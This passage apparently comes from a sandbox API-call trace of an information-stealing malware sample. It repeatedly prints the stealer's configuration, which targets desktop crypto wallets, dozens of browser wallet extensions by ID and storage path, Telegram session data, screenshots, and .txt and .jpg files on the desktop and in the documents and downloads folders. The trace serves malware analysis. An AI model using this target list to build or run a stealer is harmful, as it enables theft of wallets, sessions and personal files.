Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="_") returned="_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0259.809] lstrlenW (lpString="|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 3596 [0259.809] LocalAlloc (uFlags=0x40, uBytes=0x1c98) returned 0x6ef5a0 [0259.809] StrCpyW (in: psz1=0x6b9720, psz2="|Installed applications:\n|\nwlts" | out: psz1="|Installed applications:\n|\nwlts") returned="|Installed applications:\n|\nwlts" [0259.810] LocalFree (hMem=0x6ef5a0) returned 0x0 [0259.810] StrStrW (lpFirst="|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="\n") returned="\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0259.810] lstrcmpiW (lpString1="|Installed applications:\n|\nwlts", lpString2="libs") returned -1 [0259.810] LocalFree (hMem=0x6b9720) returned 0x0 [0259.810] LocalFree (hMem=0x6bb340) returned 0x0 [0259.811] LocalFree (hMem=0x6bcf60) returned 0x0 [0259.811] StrStrW (lpFirst="|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="\n") returned="\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension 